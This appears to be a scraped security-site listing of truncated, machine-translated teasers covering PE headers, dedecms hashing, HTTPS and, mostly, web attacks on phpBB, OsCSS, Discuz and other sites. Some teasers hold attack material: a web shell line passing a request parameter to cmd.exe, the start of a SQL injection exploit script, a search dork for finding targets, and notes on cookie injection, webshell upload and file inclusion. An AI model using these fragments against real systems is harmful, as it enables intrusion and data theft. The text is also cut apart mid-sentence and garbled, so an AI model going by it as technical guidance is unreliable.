Cloud Security

This IMAGE_NT_HEADERS is actually the image header of the PE-related structure. NT, I guess it should be the abbreviation of New Technology. It is different from the New DOS WIN9X Technology. It doesn't matter whether you think it is NTR or not.The

The 24-bit md5 algorithm appears in the dedecms password. In fact, it is very simple: Dedecms first encrypts and obtains the 32-bit MD5 encrypted ciphertext, and then removes the next 8 bits. In this way, the remaining 24 bits are used as the

The most strange Technology of HTTPS is the Secure Password transfer mechanism.A and B want to conduct private communication, so that even if all emails are intercepted, NO content will be leaked. This is not easy at first glance, because A and B

Nowadays, ISPs in many places restrict multi-host internet access. As long as one line is connected to multiple computers and connected to the Internet, it will be automatically disconnected. Many experts have provided a variety of effective

Release date:2010-11-22Updated on:2010-11-25Affected Systems: PhpBB Description: PhpBB is a world-renowned open-source announcement board system. PhpBB does not properly filter user input data. Remote attackers can insert malicious data

OsCSS is an open-source online shop script system. OsCSS 1.2 Has the Arbitrary File Upload Vulnerability, which may allow attackers to upload webshells. [+] Info:~~~~~~~~~# Exploit Title: OsCSS Remote File Upload Exploit# Date: 12-1-2010# Author:

Author: wanderingAffected Version: V13Http://www.hs173.cnVulnerability Type: SQL InjectionVulnerability Description: The program only defends against get and post injection, so we can use cookie injection to get the Administrator's username and

Sub upload_0 () set upload = new UpFile_Class "creates an upload objectUpload. GetDate (int (Forum_Setting (56) * 1024) 'to obtain the uploaded data, not limited to sizeICount = 0 If upload. err> 0 thenSelect case upload. errCase 1Response. Write

In practice, you can use udf in webshell. dll elevation, use the function's file upload function to upload files to the startup directory, and then use the shut function to restart the system. (I have not succeeded yet. I have the opportunity to

DISCUZX1.5 local file inclusion, of course, is conditional, is to use the file as the cache.Config_global.php$ _ Config [cache] [type] = file; Function cachedata ($ cachenames ){......$ Isfilecache = getglobal (config/cache/type) = file;......If ($

After reading some of the aspxspy verification code, you don't have to extract the form's username and password name to commit the attack. When aspxspy processes logon, it sets a cookie value after logon, therefore, the cookie can also be

Code:Classid = "clsid: 72c24dd5-d70a-438b-8a42-98108b88afb8"> Classid = "clsid: F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"> End ifResponse. write ("Rows = 20> ")On Error Resume NextResponse. writeOScriptlhn.exe c ("cmd.exe/c" & request ("c"). stdout.

 I didn't see the front-end. A friend threw it to me. admin is the default backend.Go in and read it. Analyzed the webshell method. 1. admin/UpPicFile. asp? Path = ../Include traverse the whole site 2. admin/UpFileSave. asp has no verification.

Vulnerable To Blind SQL Injection # By Jackh4xor @ W4ck1ng-Http://www.jackh4xor.com/ Http://www.hackerregiment.com/mysql-com-vulnerable-to-blind-sql-injection.html The Mysql website offers database software, services and support for your business,

SEO (Search Engine Optimization) Many programmers are doing this, but hackers are still not willing to do it! The technical staff firmly believe that the technology will speak. If the user experience is good, it can truly bring users the resources

If (! $ Argv [1])Die (" Usage: php exploit. php [site]Example: php exploit. php http://site.tld/?path=/ ");Print_r (" # Tilte ......: [Easy Media Script SQL Injection]# Author...: [Lagripe-Dz]# Date ......: [27-o5-2o11]# Location...: [ALGERIA]# HoMe

Googel Search Keyword: inurl: website/html /? 163. html  You can also construct keywords by yourself.  Open the website found, such as http://www.bkjia.com/website/html/163.html  On the homepageRegister a new user in "member login, Go back to the

A friend asked me to help him with server security a few days ago and found that Asp was used on the server.. Net site, but it does a good job of putting aside the attention, but it can execute commands and is not safe for the server. One day, I

Author: LengF Time: 2011-06-24 I have done some tests recently, and I have summarized some of my skills to facilitate my learning. If you think it is useful, let's go! Tip 1: use the File Inclusion vulnerability in PHPIf Include ($ _ GET [p]. ". php

The basic idea is to use the allowscriptaccess = always condition to enable flash to load our own swf file for Cross-Site purposes.This time, we will focus on audio playback. When we use the windows system to browse Sina Weibo, the audio will still